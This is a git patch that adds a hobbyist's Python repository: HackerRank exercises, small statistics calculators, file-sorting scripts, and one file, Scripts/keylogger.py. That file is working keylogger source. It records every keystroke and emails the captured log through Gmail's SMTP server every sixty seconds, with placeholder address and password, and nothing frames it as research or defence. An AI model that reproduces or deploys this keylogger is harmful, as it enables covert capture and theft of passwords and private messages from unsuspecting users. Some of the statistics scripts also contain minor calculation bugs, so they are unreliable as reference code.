From 97a7e02c5acf908137ea78225d43380c225f2230 Mon Sep 17 00:00:00 2001 From: amanullahgit Date: Sun, 22 Jan 2023 21:06:32 +0530 Subject: [PATCH] update --- .idea/.gitignore | 3 + .idea/Python.iml | 8 ++ .../inspectionProfiles/profiles_settings.xml | 6 ++ .idea/misc.xml | 4 + .idea/modules.xml | 8 ++ .idea/vcs.xml | 6 ++ Hackerrank/Print Function.py | 29 ++++++++ Hackerrank/Write a Function.py | 41 ++++++++++ README.md | 2 + Scripts/clean_dir.py | 73 ++++++++++++++++++ Scripts/game_mode.py | 15 ++++ Scripts/keylogger.py | 52 +++++++++++++ Scripts/renamer.py | 16 ++++ math programs/MAD.py | 14 ++++ math programs/correlation_and_regretion.py | 33 +++++++++ math programs/five_num_sum.py | 23 ++++++ math programs/freq_distribution.py | 74 +++++++++++++++++++ math programs/histogram_freqpoly_ogive.py | 3 + math programs/mean.py | 8 ++ math programs/median.py | 18 +++++ math programs/mode.py | 37 ++++++++++ math programs/percentile.py | 20 +++++ math programs/population.py | 22 ++++++ math programs/quartile_iqr_range_median.py | 29 ++++++++ 24 files changed, 544 insertions(+) create mode 100644 .idea/.gitignore create mode 100644 .idea/Python.iml create mode 100644 .idea/inspectionProfiles/profiles_settings.xml create mode 100644 .idea/misc.xml create mode 100644 .idea/modules.xml create mode 100644 .idea/vcs.xml create mode 100644 Hackerrank/Print Function.py create mode 100644 Hackerrank/Write a Function.py create mode 100644 README.md create mode 100644 Scripts/clean_dir.py create mode 100644 Scripts/game_mode.py create mode 100644 Scripts/keylogger.py create mode 100644 Scripts/renamer.py create mode 100644 math programs/MAD.py create mode 100644 math programs/correlation_and_regretion.py create mode 100644 math programs/five_num_sum.py create mode 100644 math programs/freq_distribution.py create mode 100644 math programs/histogram_freqpoly_ogive.py create mode 100644 math programs/mean.py create mode 100644 math programs/median.py create mode 100644 math programs/mode.py create mode 100644 math programs/percentile.py create mode 100644 math programs/population.py create mode 100644 math programs/quartile_iqr_range_median.py diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..26d3352 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,3 @@ +# Default ignored files +/shelf/ +/workspace.xml diff --git a/.idea/Python.iml b/.idea/Python.iml new file mode 100644 index 0000000..d0876a7 --- /dev/null +++ b/.idea/Python.iml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/inspectionProfiles/profiles_settings.xml b/.idea/inspectionProfiles/profiles_settings.xml new file mode 100644 index 0000000..105ce2d --- /dev/null +++ b/.idea/inspectionProfiles/profiles_settings.xml @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 0000000..c3334de --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..3097039 --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..94a25f7 --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Hackerrank/Print Function.py b/Hackerrank/Print Function.py new file mode 100644 index 0000000..ab798b2 --- /dev/null +++ b/Hackerrank/Print Function.py @@ -0,0 +1,29 @@ +# Read an integer N. + +# Without using any string methods, try to print the following: + +# 123...N + +# Note that "..." represents the values in between. + +# Input Format + +# The first line contains an integer . + +# Output Format + +# Output the answer as explained in the task. + +# Sample Input 0 + +# 3 + +# Sample Output 0 + +# 123 + +if __name__ == '__main__': + n = int(input()) + + for i in range(n): + print(i+1,end='') \ No newline at end of file diff --git a/Hackerrank/Write a Function.py b/Hackerrank/Write a Function.py new file mode 100644 index 0000000..8d7c2e5 --- /dev/null +++ b/Hackerrank/Write a Function.py @@ -0,0 +1,41 @@ +# We add a Leap Day on February 29, almost every four years. The leap day is an extra, or intercalary day and we add it to the shortest month of the year, February. +# In the Gregorian calendar three criteria must be taken into account to identify leap years: +# +# The year can be evenly divided by 4, is a leap year, unless: +# The year can be evenly divided by 100, it is NOT a leap year, unless: +# The year is also evenly divisible by 400. Then it is a leap year. +# This means that in the Gregorian calendar, the years 2000 and 2400 are leap years, while 1800, 1900, 2100, 2200, 2300 and 2500 are NOT leap years.Source +# +# Task +# You are given the year, and you have to write a function to check if the year is leap or not. +# +# Note that you have to complete the function and remaining code is given as template. +# +# Input Format +# +# Read y, the year that needs to be checked. +# +# Constraints +# +# +# Output Format +# +# Output is taken care of by the template. Your function must return a boolean value (True/False) +# +# Sample Input 0 +# +# 1990 +# Sample Output 0 +# +# False +# Explanation 0 +# +# 1990 is not a multiple of 4 hence it's not a leap year. +def is_leap(year): + leap = False + if(year%4==0 and not (year%100==0) or year%400==0): + leap = True + return leap + +year = int(input()) +print(is_leap(year)) \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..b7d164d --- /dev/null +++ b/README.md @@ -0,0 +1,2 @@ +# Python +My Python Codes diff --git a/Scripts/clean_dir.py b/Scripts/clean_dir.py new file mode 100644 index 0000000..217883d --- /dev/null +++ b/Scripts/clean_dir.py @@ -0,0 +1,73 @@ +import os +import shutil + +def make_name(name, dest_list): + n, e = os.path.splitext(name) + for file_name in dest_list: + dn, de = os.path.splitext(file_name) + if not n[-1].isnumeric(): + if n == dn: + n = n + '1' + if n[-1].isnumeric(): + while True: + if n in dn: + n = n[:-1] + str(int(n[-1])+1) + else: + break + + return n+e + +src = '.' +word_dest = './WordFiles' +excel_dest = './ExcelFiles' +access_dest = './AccessFiles' +pdf_dest = './PDFFiles' +ppt_dest = './PPTFiles' + +word_files = [] +excel_files = [] +access_files = [] +ppt_files = [] +pdf_files = [] + +for file in os.listdir(src): + if file.endswith('.doc') or file.endswith('.docx'): + word_files.append(file) + if file.endswith('.xlsx'): + excel_files.append(file) + if file.endswith('.accdb'): + access_files.append(file) + if file.endswith('.ppt') or file.endswith('.pptx'): + ppt_files.append(file) + if file.endswith('.pdf'): + pdf_files.append(file) + +for files in word_files: + if not os.path.exists(word_dest): + os.makedirs(word_dest) + os.rename(os.path.join(src,files), os.path.join(src, make_name(files, os.listdir(word_dest)))) + shutil.move(os.path.join(src, make_name(files, os.listdir(word_dest))), word_dest) + +for files in excel_files: + if not os.path.exists(excel_dest): + os.makedirs(excel_dest) + os.rename(os.path.join(src,files), os.path.join(src, make_name(files, os.listdir(excel_dest)))) + shutil.move(os.path.join(src, make_name(files, os.listdir(excel_dest))), excel_dest) + +for files in access_files: + if not os.path.exists(access_dest): + os.makedirs(access_dest) + os.rename(os.path.join(src,files), os.path.join(src, make_name(files, os.listdir(access_dest)))) + shutil.move(os.path.join(src, make_name(files, os.listdir(access_dest))), access_dest) + +for files in ppt_files: + if not os.path.exists(ppt_dest): + os.makedirs(ppt_dest) + os.rename(os.path.join(src,files), os.path.join(src, make_name(files, os.listdir(ppt_dest)))) + shutil.move(os.path.join(src, make_name(files, os.listdir(ppt_dest))), ppt_dest) + +for files in pdf_files: + if not os.path.exists(pdf_dest): + os.makedirs(pdf_dest) + os.rename(os.path.join(src,files), os.path.join(src, make_name(files, os.listdir(pdf_dest)))) + shutil.move(os.path.join(src, make_name(files, os.listdir(pdf_dest))), pdf_dest) diff --git a/Scripts/game_mode.py b/Scripts/game_mode.py new file mode 100644 index 0000000..d52b9c3 --- /dev/null +++ b/Scripts/game_mode.py @@ -0,0 +1,15 @@ +from os import path +import subprocess + +mode = input('Enter mode: ') + +file = open('mode.txt', 'w+') +file.write(mode) + +content = file.read() + +if content == 'pubg': + print(content) + subprocess.call([r'C:\Program Files\TxGameAssistant\ui\AndroidEmulator.exe'], shell=True) +else: + print('no') diff --git a/Scripts/keylogger.py b/Scripts/keylogger.py new file mode 100644 index 0000000..32c85e4 --- /dev/null +++ b/Scripts/keylogger.py @@ -0,0 +1,52 @@ +import keyboard +import smtplib +from threading import Semaphore, Timer + +INTERVAL = 60 +EMAIL = 'YOUR_EMAIL' +PASSWORD = 'YOUR_PASS' + + +class Keylogger: + def __init__(self, interval): + self.interval = interval + self.log = '' + self.semaphore = Semaphore(0) + + def callback(self, event): + name = event.name + + if len(name) > 1: + if name == 'space': + name = ' ' + elif name == 'enter': + name = '[ENTER]\n' + elif name == 'decimal': + name = '.' + else: + name = name.replace(' ', '_') + name = f'[{name.upper()}]' + + self.log += name + + def sendmail(self, email, password, message): + server = smtplib.SMTP(host='smtp.gmail.com', port=587) + server.starttls() + server.login(email, password) + server.sendmail(email, email, message) + server.quit() + + def report(self): + if self.log: + self.sendmail(EMAIL, PASSWORD, self.log) + self.log = '' + Timer(interval=self.interval, function=self.report).start() + + def start(self): + keyboard.on_release(callback=self.callback) + self.report() + + +if __name__ == '__main__': + kelogger = Keylogger(interval=INTERVAL) + kelogger.start() diff --git a/Scripts/renamer.py b/Scripts/renamer.py new file mode 100644 index 0000000..0fcade5 --- /dev/null +++ b/Scripts/renamer.py @@ -0,0 +1,16 @@ +## script to rename all files in a directory from a list of file names + +import os + +# list of new filenames +new_filenames = ['new_file1.txt', 'new_file2.txt', 'new_file3.txt'] + +# directory containing the files to be renamed +directory = 'path/to/directory' + +# get a list of all files in the directory +files = os.listdir(directory) + +# rename each file +for i, file in enumerate(files): + os.rename(os.path.join(directory, file), os.path.join(directory, new_filenames[i])) diff --git a/math programs/MAD.py b/math programs/MAD.py new file mode 100644 index 0000000..cff66a3 --- /dev/null +++ b/math programs/MAD.py @@ -0,0 +1,14 @@ +def MAD(): + n = input('Enter numbers space seperated: ') + m = [float(i) for i in n.split()] + res = 0 + mean = sum(m) / len(m) + for num in m: + res = round(res, 2) + abs(num - round(mean, 2)) + mad = round(res / len(m), 2) + + print(f'MAD: {mad}') + + +while True: + MAD() diff --git a/math programs/correlation_and_regretion.py b/math programs/correlation_and_regretion.py new file mode 100644 index 0000000..d3ea7f0 --- /dev/null +++ b/math programs/correlation_and_regretion.py @@ -0,0 +1,33 @@ +import math + + +def correlation_and_regression(): + x = input('Enter x value: ') + y = input('Enter y value: ') + xl = [float(i) for i in x.split()] + yl = [float(i) for i in y.split()] + n = len(xl) + x_bar = round(sum(xl) / n, 3) + y_bar = round(sum(yl) / n, 3) + x_minus_x_bar = [] + y_minus_y_bar = [] + xb_min_yb = [] + x_minus_x_bar_sq = [] + y_minus_y_bar_sq = [] + + for num in xl: + x_minus_x_bar.append(num - x_bar) + for num in yl: + y_minus_y_bar.append(num - y_bar) + + for num in range(len(x_minus_x_bar)): + xb_min_yb.append(x_minus_x_bar[num] * y_minus_y_bar[num]) + x_minus_x_bar_sq.append(pow(x_minus_x_bar[num], 2)) + y_minus_y_bar_sq.append(pow(y_minus_y_bar[num], 2)) + sb_min_yb_sq = math.sqrt(sum(x_minus_x_bar_sq) * sum(y_minus_y_bar_sq)) + r = sum(xb_min_yb) / sb_min_yb_sq + print(round(r)) + + +while True: + correlation_and_regression() diff --git a/math programs/five_num_sum.py b/math programs/five_num_sum.py new file mode 100644 index 0000000..2658063 --- /dev/null +++ b/math programs/five_num_sum.py @@ -0,0 +1,23 @@ +def five_num(): + n = input('Enter numbers space seperated: ') + m = [float(i) for i in n.split()] + m.sort() + med = (len(m) + 1) / 2 + q1 = (25 / 100) * len(m) + q3 = (75 / 100) * len(m) + q1_res = (m[int(q1 - 1)] + m[int(q1)]) / 2 + q3_res = (m[int(q3 - 1)] + m[int(q3)]) / 2 + largest_num = m[len(m) - 1] + smallest_num = m[0] + print(f'Smallest Value: {round(smallest_num,3)}') + print(f'Q1: {round(q1_res,3)}') + if med.is_integer(): + print(f'Median (M): {m[int(med - 1)]}') + else: + print(f'Median (M): {(m[int(med - 1)] + m[int(med)]) / 2}') + print(f'Q3: {round(q3_res,3)}') + print(f'Largest Value: {round(largest_num,3)}') + + +while True: + five_num() diff --git a/math programs/freq_distribution.py b/math programs/freq_distribution.py new file mode 100644 index 0000000..c9b70e2 --- /dev/null +++ b/math programs/freq_distribution.py @@ -0,0 +1,74 @@ +def freq_cw(): + n = input('Enter numbers space seperated: ') + cw = int(input('Enter class width: ')) + m = [float(i) for i in n.split()] + m.sort() + counter = 0 + cumulative_freq = 0 + frequencies = [] + mid_point = [] + lower_bound = int(m[0]) + upper_bound = lower_bound + cw + number_of_times = int((int(m[0]) + int(m[len(m) - 1])) / cw) + while number_of_times > 0: + for num in m: + if num in range(lower_bound, upper_bound): + counter += 1 + + print(f'{lower_bound} - {upper_bound}: {counter}') + mid_point.append((lower_bound + upper_bound) / 2) + frequencies.append(counter) + lower_bound = upper_bound + upper_bound = lower_bound + cw + counter = 0 + number_of_times -= 1 + + for i in range(len(frequencies)): + relative_freq = int((frequencies[i] / sum(frequencies)) * 100) / 100 + percent_freq = int(relative_freq * 100) + cumulative_freq = cumulative_freq + frequencies[i] + print( + f'Freq {frequencies[i]}: Mid => {mid_point[i]}, Relative: {relative_freq}, Percentage: {percent_freq}%, Cumulative Freq: {cumulative_freq}') + + +def freq_no_cw(): + n = input('Enter numbers space seperated: ') + cint = int(input('Enter class interval: ')) + m = [float(i) for i in n.split()] + m.sort() + cw = int(((m[len(m)-1] - m[0]) / cint) + 1) + counter = 0 + cumulative_freq = 0 + frequencies = [] + mid_point = [] + lower_bound = int(m[0]) + upper_bound = lower_bound + cw + number_of_times = int((int(m[0]) + int(m[len(m) - 1])) / cw) + print(number_of_times) + while number_of_times > 0: + for num in m: + if num in range(lower_bound, upper_bound): + counter += 1 + + print(f'{lower_bound} - {upper_bound}: {counter}') + mid_point.append((lower_bound + upper_bound) / 2) + frequencies.append(counter) + lower_bound = upper_bound + upper_bound = lower_bound + cw + counter = 0 + number_of_times -= 1 + + for i in range(len(frequencies)): + relative_freq = int((frequencies[i] / sum(frequencies)) * 100) / 100 + percent_freq = int(relative_freq * 100) + cumulative_freq = cumulative_freq + frequencies[i] + print( + f'Freq {frequencies[i]}: Mid => {mid_point[i]}, Relative: {relative_freq}, Percentage: {percent_freq}%, Cumulative Freq: {cumulative_freq}') + + +while True: + ask = input('have class width? ') + if ask == 'y': + freq_cw() + else: + freq_no_cw() diff --git a/math programs/histogram_freqpoly_ogive.py b/math programs/histogram_freqpoly_ogive.py new file mode 100644 index 0000000..af61530 --- /dev/null +++ b/math programs/histogram_freqpoly_ogive.py @@ -0,0 +1,3 @@ +print('Histogram ( X – axis consider class point , Y – axis consider Frequency)') +print('Frequency Polygon: ( X – axis consider mid point of each class , Y – axis consider Frequency)') +print('Ogive : ( X – axis consider end point of each class , Y – axis consider Cumulative Frequency)') \ No newline at end of file diff --git a/math programs/mean.py b/math programs/mean.py new file mode 100644 index 0000000..9e5b287 --- /dev/null +++ b/math programs/mean.py @@ -0,0 +1,8 @@ +def mean(): + n = input('Enter numbers space seperated: ') + m = [int(i) for i in n.split()] + print(f'Mean (x-bar): {sum(m) / len(m)}') + + +while True: + mean() diff --git a/math programs/median.py b/math programs/median.py new file mode 100644 index 0000000..6f68dec --- /dev/null +++ b/math programs/median.py @@ -0,0 +1,18 @@ + +def median(): + n = input('Enter numbers space seperated: ') + m = [int(i) for i in n.split()] + + m.sort() + med = (len(m) + 1) / 2 + if med.is_integer(): + print(f'Median (M): {m[int(med - 1)]}') + else: + print(f'Median (M): {(m[int(med - 1)] + m[int(med)]) / 2}') + + +while True: + median() + + + diff --git a/math programs/mode.py b/math programs/mode.py new file mode 100644 index 0000000..1eb6a21 --- /dev/null +++ b/math programs/mode.py @@ -0,0 +1,37 @@ +from collections import Counter + + +def median(lst): + lst.sort() + med = (len(lst) + 1) / 2 + if med.is_integer(): + print(f'Median (M): {lst[int(med - 1)]}') + return lst[int(med - 1)] + else: + print(f'Median (M): {(lst[int(med - 1)] + lst[int(med)]) / 2}') + return (lst[int(med - 1)] + lst[int(med)]) / 2 + + +def mean(lst): + print(f'Mean (x-bar): {round(sum(lst) / len(lst),4)}') + return round(sum(lst) / len(lst),4) + + +def mode(): + n = input('Enter numbers space seperated: ') + m = [float(i) for i in n.split()] + + a = dict(Counter(m)) + key_list = list(a.keys()) + val_list = list(a.values()) + + if max(val_list) > 1: + print(f'Mode (Z): {key_list[val_list.index(max(val_list))]}') + else: + men = mean(m) + med = median(m) + print(f'Mode (Z): {round((3 * med) - (2 * men),4)}') + + +while True: + mode() diff --git a/math programs/percentile.py b/math programs/percentile.py new file mode 100644 index 0000000..3c79aa8 --- /dev/null +++ b/math programs/percentile.py @@ -0,0 +1,20 @@ +def percentile(): + n = input('Enter numbers space seperated: ') + p = input('Enter Percentile: ') + + m = [int(i) for i in n.split()] + m.sort() + print(m) + print((float(p)/100)*len(m)) + ans = (float(p)/100)*len(m) + + if ans.is_integer(): + print(m[int(float(ans-1))]) + print(m[int(float(ans))]) + print((m[int(float(ans-1))] + m[int(float(ans))])/2) + else: + print(m[round(float(ans))]) + + +while True: + percentile() \ No newline at end of file diff --git a/math programs/population.py b/math programs/population.py new file mode 100644 index 0000000..93d2910 --- /dev/null +++ b/math programs/population.py @@ -0,0 +1,22 @@ +import math + + +def population_variance(): + n = input('Enter numbers space seperated: ') + m = [float(i) for i in n.split()] + res = 0 + mean = sum(m) / len(m) + for num in m: + res = round(res, 2) + pow(num - round(mean, 2), 2) + population_var = round(res / len(m), 2) + sample_var = round(res / (len(m) - 1), 2) + population_standard_deviation = math.sqrt(population_var) + sample_standard_deviation = math.sqrt(sample_var) + print(f'population variance: {population_var}') + print(f'sample variance: {sample_var}') + print(f'population standard deviation: {round(population_standard_deviation, 2)}') + print(f'sample standard deviation: {round(sample_standard_deviation, 2)}') + + +while True: + population_variance() diff --git a/math programs/quartile_iqr_range_median.py b/math programs/quartile_iqr_range_median.py new file mode 100644 index 0000000..f4c13b7 --- /dev/null +++ b/math programs/quartile_iqr_range_median.py @@ -0,0 +1,29 @@ +def quartile(): + n = input('Enter numbers space seperated: ') + m = [float(i) for i in n.split()] + m.sort() + med = (len(m) + 1) / 2 + q1 = (25 / 100) * len(m) + q2 = (50 / 100) * len(m) + q3 = (75 / 100) * len(m) + q1_res = (m[int(q1 - 1)] + m[int(q1)]) / 2 + q2_res = (m[int(q2 - 1)] + m[int(q2)]) / 2 + q3_res = (m[int(q3 - 1)] + m[int(q3)]) / 2 + largest_num = m[len(m) - 1] + smallest_num = m[0] + iqr = round(q3_res,3) - round(q1_res,3) + rang = m[len(m) - 1] - m[0] + print(f'Smallest Value: {round(smallest_num,3)}') + print(f'Largest Value: {round(largest_num,3)}') + print(f'Q1: {round(q1_res,3)}') + print(f'Q2: {round(q2_res,3)}') + print(f'Q3: {round(q3_res,3)}') + print(f'IQR: {round(iqr,3)}') + print(f'Range: {round(rang,3)}') + if med.is_integer(): + print(f'Median (M): {m[int(med - 1)]}') + else: + print(f'Median (M): {(m[int(med - 1)] + m[int(med)]) / 2}') + +while True: + quartile()